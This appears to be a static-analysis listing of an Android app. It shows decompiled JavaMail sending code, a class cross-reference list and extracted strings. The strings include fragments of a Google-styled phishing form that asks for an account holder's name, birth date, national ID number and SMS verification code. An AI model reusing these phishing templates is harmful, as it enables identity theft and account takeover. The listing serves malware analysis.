90invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->getAllRecipients()[Ljavax/mail/Address;
91move-result-object v6
92if-nez v6, :cond_84
93const/4 v2, 0x0
94new-array v6, v2, [Ljavax/mail/internet/InternetAddress;
95cond_84: array-length v2, v6
96if-eqz v2, :cond_198
97move-object v2, v6
98goto_88: if-eqz v2, :cond_19e
99array-length v3, v2
100if-eqz v3, :cond_19e
101const/4 v3, 0x0
102aget-object v2, v2, v3
104invoke-virtual {p1, v2}, Ljavax/mail/Session;->getTransport(Ljavax/mail/Address;)Ljavax/mail/Transport;
105move-result-object v3
107const-string v2, "mail.transport.protocol"
109invoke-virtual {p1, v2}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
110try_end_99:
111const-string v2, "remote"
113invoke-virtual {v2, p2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
114move-result v2
115if-eqz v2, :cond_1f5
117invoke-virtual {v3}, Ljavax/mail/Transport;->connect()V
118try_start_a4: instance-of v2, v3, Lcom/sun/mail/smtp/SMTPTransport;
119if-eqz v2, :cond_309
120move-object v0, v3
121check-cast v0, Lcom/sun/mail/smtp/SMTPTransport;
122move-object v2, v0
124invoke-virtual {v2}, Lcom/sun/mail/smtp/SMTPTransport;->getLocalHost()Ljava/lang/String;
125try_end_af: move-result-object v4
126goto_b0:
127invoke-virtual {v3, v8, v6}, Ljavax/mail/Transport;->sendMessage(Ljavax/mail/Message;[Ljavax/mail/Address;)V
128try_start_b3:
129invoke-virtual {v3}, Ljavax/mail/Transport;->close()V
130try_end_b6: move-object v2, v1
131goto_b7: const/4 v1, 0x0
132try_start_b8:
133invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->reportUnexpectedSend(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Exception;)V
134try_end_bb: move-object v1, v4
135goto_bc: if-eqz v2, :cond_c5
136try_start_be:
137invoke-direct {p0, v8, p2, v2}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
138const/4 v3, 0x3
140invoke-direct {p0, v8, v2, v3}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
141try_end_c5:
142invoke-static {v1}, Lcom/sun/mail/util/logging/MailHandler;->isEmpty(Ljava/lang/String;)Z
143move-result v2
144if-eqz v2, :cond_2a9
146invoke-static {}, Ljava/net/InetAddress;->getLocalHost()Ljava/net/InetAddress;
147move-result-object v1
149invoke-virtual {v1}, Ljava/net/InetAddress;->getCanonicalHostName()Ljava/lang/String;
150move-result-object v1
152invoke-virtual {v1}, Ljava/lang/String;->length()I
153move-result v1
154if-nez v1, :cond_ec
155new-instance v1, Ljava/net/UnknownHostException;
157invoke-direct {v1}, Ljava/net/UnknownHostException;-><init>()V
158throw v1
159try_end_df: move-exception v1
160try_start_e0: new-instance v2, Ljavax/mail/MessagingException;
162invoke-direct {v2, v7, v1}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
164invoke-direct {p0, v8, p2, v2}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
165const/4 v1, 0x4
167invoke-direct {p0, v8, v2, v1}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
168cond_ec: new-instance v1, Ljavax/mail/internet/MimeMultipart;
170invoke-direct {v1}, Ljavax/mail/internet/MimeMultipart;-><init>()V
171new-instance v2, Ljavax/mail/internet/MimeBodyPart;
173invoke-direct {v2}, Ljavax/mail/internet/MimeBodyPart;-><init>()V
175const-string v3, "inline"
177invoke-virtual {v2, v3}, Ljavax/mail/internet/MimeBodyPart;->setDisposition(Ljava/lang/String;)V
179invoke-virtual {v2, p2}, Ljavax/mail/internet/MimeBodyPart;->setDescription(Ljava/lang/String;)V
181invoke-direct {p0, v2}, Lcom/sun/mail/util/logging/MailHandler;->setAcceptLang(Ljavax/mail/Part;)V
183const-string v3, ""
185const-string v4, "text/plain"
187invoke-direct {p0, v2, v3, v4}, Lcom/sun/mail/util/logging/MailHandler;->setContent(Ljavax/mail/internet/MimeBodyPart;Ljava/lang/CharSequence;Ljava/lang/String;)V
189invoke-virtual {v1, v2}, Ljavax/mail/internet/MimeMultipart;->addBodyPart(Ljavax/mail/BodyPart;)V
191invoke-virtual {v8, v1}, Ljavax/mail/internet/MimeMessage;->setContent(Ljavax/mail/Multipart;)V
193invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->saveChanges()V
194new-instance v1, Ljava/io/ByteArrayOutputStream;
195const/16 v2, 0x400
197invoke-direct {v1, v2}, Ljava/io/ByteArrayOutputStream;-><init>(I)V
199invoke-virtual {v8, v1}, Ljavax/mail/internet/MimeMessage;->writeTo(Ljava/io/OutputStream;)V
200goto_11b: array-length v1, v6
201if-eqz v1, :cond_2cc
203invoke-static {v6}, Lcom/sun/mail/util/logging/MailHandler;->verifyAddresses([Ljavax/mail/Address;)V
205invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->getFrom()[Ljavax/mail/Address;
206move-result-object v3
208invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->getSender()Ljavax/mail/Address;
209move-result-object v2
210instance-of v1, v2, Ljavax/mail/internet/InternetAddress;
211if-eqz v1, :cond_134
212move-object v0, v2
213check-cast v0, Ljavax/mail/internet/InternetAddress;
214move-object v1, v0
216invoke-virtual {v1}, Ljavax/mail/internet/InternetAddress;->validate()V
217cond_134:
218const-string v1, "From"
220const-string v4, ","
222invoke-virtual {v8, v1, v4}, Ljavax/mail/internet/MimeMessage;->getHeader(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
223move-result-object v1
224if-eqz v1, :cond_2d8
225array-length v1, v3
226if-eqz v1, :cond_2d8
228invoke-static {v3}, Lcom/sun/mail/util/logging/MailHandler;->verifyAddresses([Ljavax/mail/Address;)V
229move v1, v5
230goto_145: array-length v4, v3
231if-ge v1, v4, :cond_2e7
232aget-object v4, v3, v1
234invoke-virtual {v4, v2}, Ljavax/mail/Address;->equals(Ljava/lang/Object;)Z
235move-result v4
236if-eqz v4, :cond_2d4
237new-instance v1, Ljavax/mail/MessagingException;
238new-instance v3, Ljava/lang/StringBuffer;
240invoke-direct {v3}, Ljava/lang/StringBuffer;-><init>()V
242const-string v4, "Sender address \'"
244invoke-virtual {v3, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
245move-result-object v3
247invoke-virtual {v3, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/Object;)Ljava/lang/StringBuffer;
248move-result-object v2
250const-string v3, "\' equals from address."
252invoke-virtual {v2, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
253move-result-object v2
255invoke-virtual {v2}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
256move-result-object v2
258invoke-direct {v1, v2}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;)V
259new-instance v2, Ljavax/mail/MessagingException;
261invoke-direct {v2, v7, v1}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
262throw v2
263catch_174: move-exception v1
265invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
267invoke-direct {p0, v8, v1, v9}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
268goto/16 :goto_2c
269catch_17d: move-exception v2
270new-instance v3, Ljava/io/UnsupportedEncodingException;
272invoke-virtual {v2}, Ljava/lang/RuntimeException;->toString()Ljava/lang/String;
273move-result-object v4
275invoke-direct {v3, v4}, Ljava/io/UnsupportedEncodingException;-><init>(Ljava/lang/String;)V
277invoke-virtual {v3, v2}, Ljava/io/IOException;->initCause(Ljava/lang/Throwable;)Ljava/lang/Throwable;
279invoke-virtual {p0, v7, v3, v6}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljava/lang/String;Ljava/lang/Exception;I)V
280goto/16 :goto_51
281catchall_18f: move-exception v1
282try_start_190: monitor-exit p0
283try_end_191: throw v1
284catch_192: move-exception v2
286invoke-virtual {p0, v7, v2, v6}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljava/lang/String;Ljava/lang/Exception;I)V
287goto/16 :goto_7b
288cond_198:
289invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->getFrom()[Ljavax/mail/Address;
290move-result-object v2
291goto/16 :goto_88
292cond_19e: new-instance v2, Ljavax/mail/MessagingException;
294const-string v3, "No recipient or from address."
296invoke-direct {v2, v3}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;)V
297const/4 v3, 0x4
299invoke-virtual {p0, v7, v2, v3}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljava/lang/String;Ljava/lang/Exception;I)V
300throw v2
301try_end_1aa: move-exception v2
302try_start_1ab:
303invoke-virtual {p1}, Ljavax/mail/Session;->getTransport()Ljavax/mail/Transport;
304try_end_1ae: move-result-object v3
305goto/16 :goto_99
306catch_1b1: move-exception v1
307try_start_1b2:
308invoke-static {v2, v1}, Lcom/sun/mail/util/logging/MailHandler;->attach(Ljavax/mail/MessagingException;Ljava/lang/Exception;)Ljavax/mail/MessagingException;
309move-result-object v1
310throw v1
311catch_1b7: move-exception v1
313invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
315invoke-direct {p0, v8, v1, v9}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
316goto/16 :goto_2c
317catch_1c0: move-exception v3
318try_start_1c1: throw v2
319catch_1c2: move-exception v1
320move-object v2, v3
321try_start_1c4:
322invoke-virtual {v1}, Ljavax/mail/SendFailedException;->getInvalidAddresses()[Ljavax/mail/Address;
323move-result-object v3
324if-eqz v3, :cond_1d4
325array-length v3, v3
326if-eqz v3, :cond_1d4
328invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
329const/4 v3, 0x4
331invoke-direct {p0, v8, v1, v3}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
332cond_1d4:
333invoke-virtual {v1}, Ljavax/mail/SendFailedException;->getValidSentAddresses()[Ljavax/mail/Address;
334move-result-object v3
335if-eqz v3, :cond_1e0
336array-length v3, v3
337if-eqz v3, :cond_1e0
339invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->reportUnexpectedSend(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Exception;)V
340cond_1e0: move-object v1, v4
341goto/16 :goto_bc
342catch_1e3: move-exception v1
343move-object v2, v3
344goto_1e5:
345invoke-virtual {p0, v8, v1}, Lcom/sun/mail/util/logging/MailHandler;->isMissingContent(Ljavax/mail/Message;Ljava/lang/Throwable;)Z
346move-result v3
347if-nez v3, :cond_1f2
349invoke-direct {p0, v8, p2, v1}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
350const/4 v3, 0x4
352invoke-direct {p0, v8, v1, v3}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
353cond_1f2: move-object v1, v4
354goto/16 :goto_bc
355cond_1f5:
356invoke-virtual {v3}, Ljavax/mail/Transport;->getURLName()Ljavax/mail/URLName;
357move-result-object v1
359invoke-virtual {v1}, Ljavax/mail/URLName;->getProtocol()Ljava/lang/String;
360move-result-object v2
362const-string v1, "mail.host"
364invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
366const-string v1, "mail.user"
368invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
369new-instance v1, Ljava/lang/StringBuffer;
371invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
373const-string v4, "mail."
375invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
376move-result-object v1
378invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
379move-result-object v1
381const-string v4, ".host"
383invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
384move-result-object v1
386invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
387move-result-object v1
389invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
390new-instance v1, Ljava/lang/StringBuffer;
392invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
394const-string v4, "mail."
396invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
397move-result-object v1
399invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
400move-result-object v1
402const-string v4, ".port"
404invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
405move-result-object v1
407invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
408move-result-object v1
410invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
411new-instance v1, Ljava/lang/StringBuffer;
413invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
415const-string v4, "mail."
417invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
418move-result-object v1
420invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
421move-result-object v1
423const-string v4, ".user"
425invoke-virtual {v1, v4}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
426move-result-object v1
428invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
429move-result-object v1
431invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
432instance-of v1, v3, Lcom/sun/mail/smtp/SMTPTransport;
433if-eqz v1, :cond_267
434check-cast v3, Lcom/sun/mail/smtp/SMTPTransport;
436invoke-virtual {v3}, Lcom/sun/mail/smtp/SMTPTransport;->getLocalHost()Ljava/lang/String;
437move-result-object v1
438goto/16 :goto_c5
439cond_267: new-instance v1, Ljava/lang/StringBuffer;
441invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
443const-string v3, "mail."
445invoke-virtual {v1, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
446move-result-object v1
448invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
449move-result-object v1
451const-string v3, ".localhost"
453invoke-virtual {v1, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
454move-result-object v1
456invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
457move-result-object v1
459invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
460move-result-object v1
462invoke-static {v1}, Lcom/sun/mail/util/logging/MailHandler;->isEmpty(Ljava/lang/String;)Z
463move-result v3
464if-eqz v3, :cond_c5
465new-instance v1, Ljava/lang/StringBuffer;
467invoke-direct {v1}, Ljava/lang/StringBuffer;-><init>()V
469const-string v3, "mail."
471invoke-virtual {v1, v3}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
472move-result-object v1
474invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
475move-result-object v1
477const-string v2, ".localaddress"
479invoke-virtual {v1, v2}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
480move-result-object v1
482invoke-virtual {v1}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
483move-result-object v1
485invoke-virtual {p1, v1}, Ljavax/mail/Session;->getProperty(Ljava/lang/String;)Ljava/lang/String;
486try_end_2a6: move-result-object v1
487goto/16 :goto_c5
488try_start_2a9:
489invoke-static {v1}, Ljava/net/InetAddress;->getByName(Ljava/lang/String;)Ljava/net/InetAddress;
490move-result-object v2
492invoke-virtual {v2}, Ljava/net/InetAddress;->getCanonicalHostName()Ljava/lang/String;
493move-result-object v2
495invoke-virtual {v2}, Ljava/lang/String;->length()I
496move-result v2
497if-nez v2, :cond_ec
498new-instance v2, Ljava/net/UnknownHostException;
500invoke-direct {v2, v1}, Ljava/net/UnknownHostException;-><init>(Ljava/lang/String;)V
501throw v2
502catch_2bd: move-exception v1
503try_start_2be: new-instance v2, Ljavax/mail/MessagingException;
505invoke-direct {v2, v7, v1}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
507invoke-direct {p0, v8, p2, v2}, Lcom/sun/mail/util/logging/MailHandler;->fixUpContent(Ljavax/mail/internet/MimeMessage;Ljava/lang/String;Ljava/lang/Throwable;)V
508const/4 v1, 0x5
510invoke-direct {p0, v8, v2, v1}, Lcom/sun/mail/util/logging/MailHandler;->reportError(Ljavax/mail/Message;Ljava/lang/Exception;I)V
511goto/16 :goto_11b
512cond_2cc: new-instance v1, Ljavax/mail/MessagingException;
514const-string v2, "No recipient addresses."
516invoke-direct {v1, v2}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;)V
517throw v1
518cond_2d4: add-int/lit8 v1, v1, 0x1
519goto/16 :goto_145
520cond_2d8: if-nez v2, :cond_2e7
521new-instance v1, Ljavax/mail/MessagingException;
523const-string v2, "No from or sender address."
525invoke-direct {v1, v2}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;)V
526new-instance v2, Ljavax/mail/MessagingException;
528invoke-direct {v2, v7, v1}, Ljavax/mail/MessagingException;-><init>(Ljava/lang/String;Ljava/lang/Exception;)V
529throw v2
530cond_2e7:
531invoke-virtual {v8}, Ljavax/mail/internet/MimeMessage;->getReplyTo()[Ljavax/mail/Address;
532move-result-object v1
534invoke-static {v1}, Lcom/sun/mail/util/logging/MailHandler;->verifyAddresses([Ljavax/mail/Address;)V
535try_end_2ee: goto/16 :goto_2c
536catchall_2f0: move-exception v2
537move-object v4, v1
538try_start_2f2:
539invoke-virtual {v3}, Ljavax/mail/Transport;->close()V
540try_end_2f5: move-object v3, v1
541goto/16 :goto_1c1
542catch_2f8: move-exception v2
543goto/16 :goto_b7
544catch_2fb: move-exception v1
545goto/16 :goto_1e5
546catch_2fe: move-exception v1
547goto/16 :goto_1c4
548catch_301: move-exception v2
549move-object v10, v2
550move-object v2, v1
551move-object v1, v10
552goto/16 :goto_1c4
553catchall_307: move-exception v2
554goto/16 :goto_2f2
555cond_309: move-object v4, v1
556goto/16 :goto_b0
Cross References
APIs
  • java.lang.Object.<init>
  • android.os.Looper.getMainLooper
  • android.os.Handler.<init>
  • java.util.LinkedHashSet.<init>
  • java.util.Timer.<init>
  • com.Loader$b.<init>
  • java.util.concurrent.atomic.AtomicBoolean.<init>
  • com.Loader$s.<init>
  • java.util.HashMap.<init>
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • \n body {\n font-family: Roboto-Regular, HelveticaNeue, Arial, sans-serif;\n }\n\n label {\n color: #222;\n line-height: 16px;\n font-size: 100%;\n text-decoration: none;\n }\n\n input {\n width: 100%;\n text-align: left;\n border-radius: 1px;\n border: 1px solid #d9d9d9;\n border-top: 1px solid #c0c0c0;\n font-size: 13px;\n height: 25px;\n line-height: 25px;\n padding: 1px 8px;\n -webkit-appearance: textfield;\n background-color: white;\n -webkit-rtl-ordering: logical;\n user-select: text;\n cursor: auto;\n }\n\n input, textarea, keygen, select, button {\n text-rendering: auto;\n color: initial;\n letter-spacing: normal;\n word-spacing: normal;\n text-transform: none;\n text-indent: 0px;\n text-shadow: none;\n display: inline-block;\n text-align: start;\n margin: 0em 0em 0em 0em;\n font: 13.3333px Arial;\n }\n\n input, textarea, keygen, select, button, meter, progress {\n -webkit-writing-mode: horizontal-tb;\n }\n\n .cont {\n padding-right: 16px;\n margin-bottom: 18px\n }\n\n .yf {\n height: 24px;\n display: table-cell;\n vertical-align: middle;\n }\n\n .submit {\n user-select: none;\n line-height: 100%;\n height: 30px;\n min-width: 120px;\n -webkit-user-select: none;\n margin-left: auto;\n margin-right: auto;\n text-align: center;\n vertical-align: middle;\n -webkit-box-shadow: none;\n -moz-box-shadow: none;\n box-shadow: none;\n background-color: #4d90fe;\n background-image: -webkit-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -moz-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -ms-linear-gradient(top, #4d90fe, #4787ed);\n background-image: -o-linear-gradient(top, #4d90fe, #4787ed);\n background-image: linear-gradient(top, #4d90fe, #4787ed);\n border: 1px solid #3079ed;\n color: #fff;\n font-weight: bold;\n }\n\n .btn-cont {\n text-align: center;\n vertical-align: middle;\n margin-bottom: 10px;\n }\n\n .appbar {\n background: #eee;\n color: #dd4b39;\n font-size: 20px;\n padding: 12px 10px;\n }\n\n .appbarb {\n border-bottom: 1px solid #ccc;\n margin-bottom: 20px;\n }\n\n .apptitle {\n margin-left: 10px;\n font-size: 100%;\n }\n\n html, body {\n margin: 0 !important;\n padding: 0 !important;\n }\n .title {\n vertical-align: middle;\n }\n .icon {\n display: inline-block;\n vertical-align: middle;\n width: 40px;\n height: 40px;\n background-size: contain;\n background-image: url(\"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADIAAAAyCAMAAAAp4XiDAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyFpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNS1jMDE0IDc5LjE1MTQ4MSwgMjAxMy8wMy8xMy0xMjowOToxNSAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIChXaW5kb3dzKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5RDdFNjc1RkY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5RDdFNjc2MEY4MTQxMUU2OEJCREIyQzkzRjQ0QkZBNyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjlEN0U2NzVERjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjlEN0U2NzVFRjgxNDExRTY4QkJEQjJDOTNGNDRCRkE3Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+5CGu0wAAAMBQTFRFUrFp7c7MQoX09KY39c9f+7wFmbrx8uCr7LSw6VtQ6kM18IdC63Nprta5Zrp7i8mcnbMq1OTYNKhT2ODvOpqU642Gm8+p5enuZJry6Us+6rsMQatZ7t/ePKlU7VosfavrQYnm7u3sNaZc5Ormf8SS7uno6koy6evv6mtg7+ziNadU6UY57u7u7e7t+bwN3+Xu+cEj7O3t7u3t7+nZP43PToz0wdPw2LkTwbw7vNvF9ZIV8Xcglbxc6uzu+awLNqRp7AzCkQAAAfdJREFUeNrE1m13mjAUAODQGglMsOSUVgTmIlp5aWylsy3b3P7/vxoCgRDDi596P3mOPOfemxtIwPPVAb6MbJE90xxdd7TQRt4IgmZJojeRzBDpJ0jjny9DQz1ECXVphF4XQYneEQ6SEmLrPYEkJO0VmkdSkQwJSWGo/UyiheF5NpeiJgrfuWMr22Kmiu1cCEZSfnVtj27L8aWpZ4uCkaasxFGE4YaebPrk9olbGjJiW1IV/v1etaGQcTt5AiH8LUysn7zBc/zKi5uNfV/UgpyLU9KRZAKr+JY+X0sm/F83kliUhJLXSuzVIXJkWfYsSzREbnYlOTAB00HyUmWpCRkmVCjsbXQW1j5Ux/YSsUXeT0avGCPLPzyZNrES5lJvmA93nckHPmVkxUhU9H/n+9iUk8WxItOKUJJXtrzzMY5jQybe+QWr3hcVLt1c5OFa9ELsFnUrtCbRp18KjIElikPdfFEX+1wYTOR5hCV4bMTxkSPExE1sggacMvCjnaT+9Fk+Z/xNVqiD9QDw+t9PlmTXIgcDtwMAE8Tlz/i+JO/CN5nOcWfE9+fipicqHBZ0021wXtzqdHkk9eXB61UgO/io4XeSedRxvFqmHLgZpZ2HuAEkYB70XhVoZrbLAw/B8IUkyOYmcGPsA3NjWNddeyj9usvVfwEGAFh9KoqHfbO5AAAAAElFTkSuQmCC\");\n }\n
  • \n<head>\n <title></title>\n <meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\" />\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no\">\n <style>
  • </style>\n</head>\n
  • \n<!DOCTYPE html>\n<html>\n
  • \n<body>\n\n<script>\n function onValidate(name, date) {\n var idx = date.indexOf(\"-\")\n var i = parseInt(date.substr(0, idx))\n if(i >= 1999) {\n dateErr.innerText = \"
  • \"\n return false\n }\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">
  • </span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(name.value, date.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">
  • :</label>\n <div class=\"cont\">\n <input id=\"name\" name=\"name\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"
  • \">\n </div>\n <label class=\"yf\" for=\"date\" style=\"display: block\">
  • :</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">
  • </button>\n </div>\n </form>\n</div>\n</body>\n\n</html>\n
  • :</label>\n <div class=\"cont\">\n <input id=\"date\" name=\"date\" type=\"date\" max=\"1999-01-01\" required>\n </div>\n <label class=\"yf\" for=\"idnum\" style=\"display: block\">\u8eab\u4efd\u8b49\u865f:</label>\n <div class=\"cont\">\n <input id=\"idnum\" name=\"idnum\" min-length=\"8\" placeholder=\"\u8eab\u4efd\u8b49\u865f\" required>\n </div>\n <div id=\"dateErr\" style=\"color: #dd4b39\">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">
  • \n<body>\n\n<script>\n function onValidate(name, date) {\n return true\n }\n</script>\n\n<div class=\"appbar\">\n <div class=\"apptitle\">\n <span class=\"icon\"></span>\n <span class=\"title\">
  • </span>\n </div>\n</div>\n<div class=\"appbarb\"></div>\n<h3 style=\"margin-left:16px\">%%ACCOUNT%%</h3>\n<h3 style=\"margin-left:16px\">%%PHONE_NUMBER%%</h3>\n<div style=\"margin: 10px 10px;\">\n <form action=\"/submit\" method=\"post\" onsubmit=\"return onValidate(vcode.value)\">\n <label class=\"yf\" for=\"name\" style=\"display: block\">
  • :</label>\n <div class=\"cont\">\n <input id=\"vcode\" name=\"vcode\" autocomplete=\"false\" type=\"text\" minlength=\"2\" required placeholder=\"
  • \">\n </div>\n <div class=\"cont btn-cont\">\n <button class=\"submit\" type=\"submit\" style=\"display: block\">
Position Instruction Meta Information
